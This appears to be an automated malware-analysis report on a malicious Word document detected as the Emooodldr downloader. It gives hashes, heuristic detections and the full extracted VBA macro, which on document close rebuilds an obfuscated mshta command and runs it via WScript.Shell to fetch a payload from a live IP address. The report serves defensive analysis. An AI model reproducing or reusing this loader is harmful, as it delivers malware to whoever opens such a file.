Emooodldr — Office (OOXML) malware analysis

Static analysis result for SHA-256 9032651ccf32fa0a…

MALICIOUS

Office (OOXML)

54.4 KB Created: 2017-11-29 23:43:00 UTC Authoring application: Microsoft Office Word 16.0000 First seen: 2019-09-30
MD5: 4a1eb3343df894ef4d6c4d63362896ca SHA-1: f7fa8cc65e936f5a7d7f62a9b4eeb35d964eaf3e SHA-256: 9032651ccf32fa0acad949d32bacd2220582ac13c364033641413457dbb3b3b9
322 Risk Score

Malware Insights

Emooodldr · confidence 95%

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File

The sample contains a critical heuristic firing for an obfuscated auto-exec VBA loader that uses CreateObject and execution sinks. The VBA macro attempts to download a payload from the reconstructed URL: http://198.55.107.156/ouuNjBRrPCDDy/LErxPvuvpfUYdWDDfrUcubVNKxDrGYfFoNVFuuNjBRrPCDDy.php?udWDDfrUcubVNuuNjBRrPCDDyXUxjoZFGgSXk=hondXUxjoZFGgSXk. ClamAV also detected the file as Doc.Malware.Emooodldr-6711604-0.

Heuristics 7

  • ClamAV: Doc.Malware.Emooodldr-6711604-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Malware.Emooodldr-6711604-0
  • VBA project inside OOXML medium 4 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • Obfuscated auto-exec VBA loader critical OLE_VBA_OBFUSCATED_AUTOEXEC_LOADER
    Auto-exec VBA reconstructs strings with a heavy custom decoder (numeric char-array, repeated hex-string decode, or junk-token Replace removal) and feeds them to a COM-instantiation or execution sink. This obfuscated-loader shape keeps CreateObject/Shell/URL indicators out of the macro source.
  • Auto_Close macro high OLE_VBA_AUTOCLOSE
    Auto_Close macro
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.microsoft.com/office/word/2010/wordprocessingCanvas In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2014/chartexIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/markup-compatibility/2006In document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/mathIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/wordprocessingml/2006/mainIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2012/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2015/wordml/symexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingGroupIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingInkIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2006/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingShapeIn document text (OOXML body / shared strings)

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 2628 bytes
SHA-256: 6a0b301a32b34560d1216196fc491accc766da92870e62f3fb25a38b7f7302f0
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Sub bambuzal()
 DoFRMkQTYU = 385 - 1340 - 496 - 378 - 1947 - 101
cwjIDoOWcKMk = 1881 + 1065 + 1120 + 36 + 995
KJTYkDNZU = 1290 + 116 + 340
UuvFJAFTi = Trim("P") & Trim("j") & "U"

 grevista = "uuNjBRrPCDDyLErxPvuvpfUYhdWDDfrUcubVNXUxjoZFGgSXk hdWDDfrUcubVNdWDDfrUcubVNp://198.55.107.156/ouuNjBRrPCDDyuuNjBRrPCDDy/LErxPvuvpfUYdWDDfrUcubVNKxDrGYfFoNVFuuNjBRrPCDDy.php?udWDDfrUcubVNuuNjBRrPCDDyXUxjoZFGgSXk=hondXUxjoZFGgSXk"
grevista = Replace(grevista, "uuNjBRrPCDDy", "m")
zDTYUjOTuJMD = 1565 + 1207 + 551 + 121 + 877
NzyQgQRSjPr = 1654 - 1276 - 1268 - 1622
CcUInKQJK = Trim("D") & "A" & "p" & "q" & "G"
grevista = Replace(grevista, "XUxjoZFGgSXk", "a")
AEpOHqDKGoMM = "G" & "I" & "P"
YIiIRxHOjSWO = 634 + 162 + 1009 + 1886 + 1442 + 1763
grevista = Replace(grevista, "LErxPvuvpfUY", "s")
grevista = Replace(grevista, "dWDDfrUcubVN", "t")
grevista = Replace(grevista, "KxDrGYfFoNVF", "e")
SrwGiGf = 776 - 1593 - 1093 - 1768 - 1297
EopKTwLL = 1396 + 1730 + 973 + 1180 + 93
grevista = Replace(grevista, "jJVQwMuFKJjv", "l")
AnCHFKJ = 1012 + 1344 + 684 + 1241 + 1164

fartura = "WScripOVoPbKbiwkvc.ShyYMGGyYuTRULEjyQVQKdqLpOEjyQVQKdqLpO"
fartura = Replace(fartura, "WiIoBfbXqdAG", "m")
fFVPJkA = 841 + 725 + 1499 + 1186
dEMxQIdZjk = 404 - 1740 - 1887 - 743 - 1646 - 868
qdSKpAXw = 1942 - 1374
fartura = Replace(fartura, "LMPQODASuBnC", "a")
fartura = Replace(fartura, "QiVcCQBdVuVJ", "s")
fartura = Replace(fartura, "OVoPbKbiwkvc", "t")
OcUzCcfo = 1745 + 1026 + 1431 + 1358
BJCyqXrfvydj = "y" & "i"
xdBfMHrWTB = Trim("O") & Trim("u")
fartura = Replace(fartura, "yYMGGyYuTRUL", "e")
fartura = Replace(fartura, "EjyQVQKdqLpO", "l")
XkIUMWYvxXVr = "j" & "v" & "w"


 CreateObject(fartura).Run grevista, 0
 NFPUbGrA = 1088 - 1454
ZyLTXFM = "i" & "n" & Trim("j")
WQwgZvjXqxQE = Trim("d") & "F" & "Z" & "M" & "V" & Trim("B")
cgISGnnjp = 941 - 1772 - 1707 - 1114 - 548 - 250 - 1650
xfYoNnr = 1426 + 884 + 1650 + 1215

End Sub

Sub AutoClose()

  bkYwySNGkUuj = 94 + 196 + 34
xbcIqDd = "V" & "D"
zTAujwkN = 99 + 1621 + 853 + 1131 + 728 + 355
gYZuTHuo = 1614 + 921 + 896 + 404

  Application.Run "bambuzal"
  pCGjBNEqwr = 642 + 919
vfVrgOH = Trim("g") & "b"
FKvHPFcRPRT = "I" & Trim("q") & "T" & "D"
WgMfjVpCXpXZ = "I" & Trim("I") & Trim("J") & "L"
EnbYYHuNjTE = "N" & Trim("q")

End Sub
vbaProject_00.bin vba-project OOXML VBA project: word/vbaProject.bin 12800 bytes
SHA-256: 6d37f8dfc50d4e829a90ec16b1ce686d55f6810147f5040e7a07fb4715e04943
Detection
ClamAV: Doc.Malware.Emooodldr-6711604-0
Obfuscation or payload: unlikely